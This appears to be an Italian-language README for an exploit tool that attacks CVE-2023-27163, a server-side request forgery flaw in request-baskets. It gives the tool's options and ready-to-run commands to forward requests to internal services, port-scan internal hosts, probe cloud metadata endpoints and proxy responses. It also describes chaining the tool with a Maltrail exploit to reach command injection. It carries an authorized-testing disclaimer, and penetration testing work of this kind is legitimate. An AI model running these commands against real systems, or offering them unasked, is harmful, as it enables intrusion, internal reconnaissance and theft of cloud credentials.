
Ho scritto questo exploit per colpire CVE-2023-27163, una vulnerabilità di Server-Side Request Forgery (SSRF) presente in request-baskets versioni ≤ 1.2.1. Il difetto risiede nell'endpoint /api/baskets/{name}, dove il parametro forward_url consente a un attaccante di far inviare al server richieste HTTP arbitrarie per suo conto.
L'exploit crea un "basket" malintenzionato configurato con un forward_url che punta a un target interno. Qualsiasi richiesta effettuata all'endpoint di quel basket viene inoltrata dal server all'URL specificato, trasformando di fatto il server in un proxy SSRF.
requests (pip install requests)usage: exploit.py [-h] -t TARGET [-f FORWARD_URL] [--proxy-response]
[--insecure-tls] [--no-expand-path] [--capacity CAPACITY]
[--scan-host SCAN_HOST] [--ports PORTS] [--scan]
[--discover] [--cloud-metadata] [--timeout TIMEOUT]
[--delay DELAY]
# Basic SSRF forward to an internal service
python3 exploit.py -t http://192.168.1.100:55555 -f http://127.0.0.1:80/admin
# Port scan an internal host
python3 exploit.py -t http://192.168.1.100:55555 --scan-host 127.0.0.1 --scan
# Probe cloud metadata endpoints
python3 exploit.py -t http://192.168.1.100:55555 --cloud-metadata
# Proxy mode (returns the forwarded response body)
python3 exploit.py -t http://192.168.1.100:55555 -f http://127.0.0.1:80 --proxy-response
# Custom port range scan
python3 exploit.py -t http://192.168.1.100:55555 --scan-host 10.0.0.2 \
--ports 80,443,3000,5000,8000,8080,9000
Ho creato questo strumento solo per scopi educativi e test di sicurezza autorizzati. Non usarlo contro sistemi senza un'autorizzazione esplicita.
Questo exploit SSRF può essere usato come punto di ingresso iniziale per raggiungere servizi interni non direttamente esposti. L'ho progettato per funzionare insieme al Maltrail-v0.53-Exploit — il tunnel SSRF ti consente di raggiungere un'istanza di Maltrail in esecuzione su localhost e di innescare l'iniezione di comandi attraverso di esso.